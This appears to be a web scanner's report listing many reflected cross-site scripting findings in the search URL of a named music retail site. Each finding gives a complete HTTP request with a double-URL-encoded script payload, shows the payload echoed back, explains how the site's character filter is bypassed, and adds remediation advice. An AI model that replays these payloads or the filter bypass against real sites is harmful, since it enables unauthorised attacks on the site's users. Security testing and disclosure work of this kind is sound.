GET /search/query/Julio%20Bashmoreb8107%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef2414204422&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2c3a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efc9d6a819a5 was submitted in the REST URL parameter 3. This input was echoed as a2c3a"><script>alert(1)</script>fc9d6a819a5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Julio%20Bashmorea2c3a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efc9d6a819a5&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 7ccdf%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6f852360fdf was submitted in the REST URL parameter 3. This input was echoed as 7ccdf</title><script>alert(1)</script>6f852360fdf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/J7ccdf%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6f852360fdf..nsi&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7de97%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e69e453be2c1 was submitted in the REST URL parameter 3. This input was echoed as 7de97"><script>alert(1)</script>69e453be2c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/J7de97%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e69e453be2c1..nsi&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aac47%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb080eef1911 was submitted in the REST URL parameter 3. This input was echoed as aac47"><script>alert(1)</script>b080eef1911 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Kanye%20Westaac47%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb080eef1911&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 5ee68%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0bdf6443693 was submitted in the REST URL parameter 3. This input was echoed as 5ee68</title><script>alert(1)</script>0bdf6443693 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Kanye%20West5ee68%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0bdf6443693&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 4b00b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebbb23efea84 was submitted in the REST URL parameter 3. This input was echoed as 4b00b</title><script>alert(1)</script>bbb23efea84 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Kingdom4b00b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebbb23efea84&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5b43%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef31507bff75 was submitted in the REST URL parameter 3. This input was echoed as f5b43"><script>alert(1)</script>f31507bff75 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Kingdomf5b43%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef31507bff75&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3594%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6465df9e081 was submitted in the REST URL parameter 3. This input was echoed as b3594"><script>alert(1)</script>6465df9e081 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Koen%20Holtkampb3594%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6465df9e081&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b29c3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee09ffc5f078 was submitted in the REST URL parameter 3. This input was echoed as b29c3</title><script>alert(1)</script>e09ffc5f078 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Koen%20Holtkampb29c3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee09ffc5f078&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 36a28%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ead92594b897 was submitted in the REST URL parameter 3. This input was echoed as 36a28</title><script>alert(1)</script>ad92594b897 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/LCD%20Soundsystem36a28%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ead92594b897&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b248a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5fcf689f5c8 was submitted in the REST URL parameter 3. This input was echoed as b248a"><script>alert(1)</script>5fcf689f5c8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/LCD%20Soundsystemb248a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5fcf689f5c8&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8f77%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1ef034ef7b was submitted in the REST URL parameter 3. This input was echoed as d8f77"><script>alert(1)</script>a1ef034ef7b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Les%20Sinsd8f77%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1ef034ef7b&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 6727d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e791b908fde5 was submitted in the REST URL parameter 3. This input was echoed as 6727d</title><script>alert(1)</script>791b908fde5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Les%20Sins6727d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e791b908fde5&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 474d6%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e51236ecae5d was submitted in the REST URL parameter 3. This input was echoed as 474d6</title><script>alert(1)</script>51236ecae5d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Los%20Campesinos!474d6%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e51236ecae5d&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20920%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec978ed45671 was submitted in the REST URL parameter 3. This input was echoed as 20920"><script>alert(1)</script>c978ed45671 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Los%20Campesinos!20920%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec978ed45671&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 35836%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebd6dde1bc23 was submitted in the REST URL parameter 3. This input was echoed as 35836</title><script>alert(1)</script>bd6dde1bc23 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Lower%20Dens35836%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebd6dde1bc23&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b52d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1d323a4caa4 was submitted in the REST URL parameter 3. This input was echoed as 3b52d"><script>alert(1)</script>1d323a4caa4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Lower%20Dens3b52d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1d323a4caa4&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ceb45%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb33609d160 was submitted in the REST URL parameter 3. This input was echoed as ceb45"><script>alert(1)</script>b33609d160 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Luniceceb45%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb33609d160&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 39604%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4583cdc3959 was submitted in the REST URL parameter 3. This input was echoed as 39604</title><script>alert(1)</script>4583cdc3959 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Lunice39604%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4583cdc3959&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 855f5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b776bb7d33 was submitted in the REST URL parameter 3. This input was echoed as 855f5"><script>alert(1)</script>2b776bb7d33 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Lyrics%20Born855f5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b776bb7d33&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 42357%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9b98dfeecda was submitted in the REST URL parameter 3. This input was echoed as 42357</title><script>alert(1)</script>9b98dfeecda in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Lyrics%20Born42357%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9b98dfeecda&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b87ae%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e26ee08b833f was submitted in the REST URL parameter 3. This input was echoed as b87ae"><script>alert(1)</script>26ee08b833f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Mark%20McGuireb87ae%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e26ee08b833f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 898ca%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e187d020e590 was submitted in the REST URL parameter 3. This input was echoed as 898ca</title><script>alert(1)</script>187d020e590 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Mark%20McGuire898ca%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e187d020e590&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aec86%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e60db9deca47 was submitted in the REST URL parameter 3. This input was echoed as aec86"><script>alert(1)</script>60db9deca47 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Matt%20Shadetekaec86%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e60db9deca47&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload c7a94%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e23fd8638a9f was submitted in the REST URL parameter 3. This input was echoed as c7a94</title><script>alert(1)</script>23fd8638a9f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Matt%20Shadetekc7a94%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e23fd8638a9f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload f1c90%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e64fd3d3b3bd was submitted in the REST URL parameter 3. This input was echoed as f1c90</title><script>alert(1)</script>64fd3d3b3bd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Matthew%20Dearf1c90%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e64fd3d3b3bd&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3baae%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed3d5b90c1f6 was submitted in the REST URL parameter 3. This input was echoed as 3baae"><script>alert(1)</script>d3d5b90c1f6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Matthew%20Dear3baae%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed3d5b90c1f6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
